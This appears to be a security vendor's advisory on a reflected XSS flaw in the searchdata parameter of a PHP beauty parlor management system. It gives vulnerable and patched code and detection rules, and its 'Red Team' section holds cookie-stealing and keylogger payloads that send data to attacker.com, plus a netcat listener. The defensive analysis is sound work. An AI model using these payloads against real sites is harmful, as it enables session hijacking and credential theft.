CVE-2025-15188

Executive Summary

CVE-2025-15188 is a publicly disclosed, unauthenticated reflected Cross-Site Scripting (XSS) vulnerability in Campcodes Complete Online Beauty Parlor Management System version 1.0. The flaw resides in the /admin/search-invoices.php file, where the searchdata parameter is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript payloads; when a victim (typically an administrator) clicks the link, the script executes in the context of the application, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 2.4 (Low) due to the requirement for user interaction and the limited impact on confidentiality and integrity. No official patch has been released by the vendor.

Supply Chain & Package Security

This is a standalone PHP web application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 2.4 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed to trigger the XSS.
• User Interaction (UI): Required – The victim must click a crafted link.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – Direct data exfiltration is not possible via this XSS alone.
• Integrity (I): Low – An attacker can modify content within the victim’s session.
• Availability (A): None – No denial-of-service impact.

Threat Level: Low. The requirement for user interaction and the limited impact reduce the immediate risk. However, in a social engineering context, an attacker could trick an admin into executing a payload that steals session cookies, leading to privilege escalation.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the searchdata parameter of /admin/search-invoices.php. The application likely takes the user-supplied input and directly embeds it into the HTML response without proper encoding or sanitization. For example, the PHP code may look like:

$search = $_GET['searchdata'];
echo "<div>Search results for: " . $search . "</div>";

An attacker can inject arbitrary HTML/JavaScript by crafting a URL such as:

http://target.com/admin/search-invoices.php?searchdata=<script>alert('XSS')</script>

When the victim’s browser renders the page, the script executes. The attack is unauthenticated, meaning any user (including non-logged-in visitors) can trigger the XSS, but the impact is limited to the victim’s session. Since the vulnerable page is in the /admin/ directory, the most likely victim is an administrator, making session hijacking a realistic threat.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

<?php
$search = $_GET['searchdata'];
echo "Search results for: " . $search;
?>

Patched Code (recommended):

<?php
$search = htmlspecialchars($_GET['searchdata'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $search;
?>

The patch uses htmlspecialchars() to encode special characters (<, >, ", ', &) into their HTML entities, preventing script injection. Since no official patch exists, administrators must apply this fix manually.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target running Campcodes Complete Online Beauty Parlor Management System 1.0.
• A victim (preferably an admin) who will click a crafted link.

Exploit Steps:

1. Craft a malicious URL with a JavaScript payload. Example for session cookie theft:

   http://target.com/admin/search-invoices.php?searchdata=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Send the link to the victim via email, chat, or social media.
3. Set up a listener on the attacker’s server to capture the cookie:

   nc -lvnp 80
   

4. Once the victim clicks the link, the browser sends the cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var key = e.key;
    new Image().src = 'http://attacker.com/log.php?key=' + key;
}
</script>

Blue Team (Defender)

Detection Steps:

1. Monitor web server logs for suspicious searchdata parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
2. Use a Web Application Firewall (WAF) to block requests with XSS patterns in the searchdata parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Apply input validation and output encoding as shown in the patched code.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/search-invoices.php with searchdata containing <script>, onerror, onload, or javascript:.
  • Outbound connections to unknown IPs or domains from the web server (e.g., attacker.com).
• File IOCs:
  • Modified /admin/search-invoices.php file (if attacker uploaded a backdoor).
• Log IOCs:
  • Web server logs showing searchdata with encoded or raw JavaScript payloads.
  • Unusual 200 responses to /admin/search-invoices.php with searchdata parameters.

Detection Engineering

YARA Rule

rule CVE_2025_15188_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2025-15188 in Campcodes Beauty Parlor Management System"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-15188"
    strings:
        $xss_payload_1 = /searchdata=.*<script[^>]*>/i
        $xss_payload_2 = /searchdata=.*onerror\s*=/i
        $xss_payload_3 = /searchdata=.*javascript\s*:/i
        $xss_payload_4 = /searchdata=.*%3Cscript%3E/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on /admin/search-invoices.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attacks targeting CVE-2025-15188
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin/search-invoices.php'
        cs-uri-query|contains: 'searchdata='
    filter:
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
            - '%3Cscript%3E'
    condition: selection and filter
falsepositives:
    - Legitimate search queries containing these strings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-15188 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/search-invoices.php"; http_uri; content:"searchdata="; http_uri; pcre:"/(<script|onerror|javascript:|%3Cscript%3E)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Sanitization: Modify /admin/search-invoices.php to use htmlspecialchars() on the searchdata parameter.
2. Implement CSP: Add a Content Security Policy header to block inline scripts.
3. WAF Rules: Deploy a WAF rule to block requests containing XSS patterns in the searchdata parameter.

Long-Term Fixes:

• Upgrade to a patched version if the vendor releases one.
• Conduct a full security audit of the application for similar vulnerabilities.
• Use parameterized queries or prepared statements for database interactions (though not directly related to this XSS).

Workaround:

• Disable the search functionality in /admin/search-invoices.php until a patch is applied.

Valters IT
Securing Digital Frontiers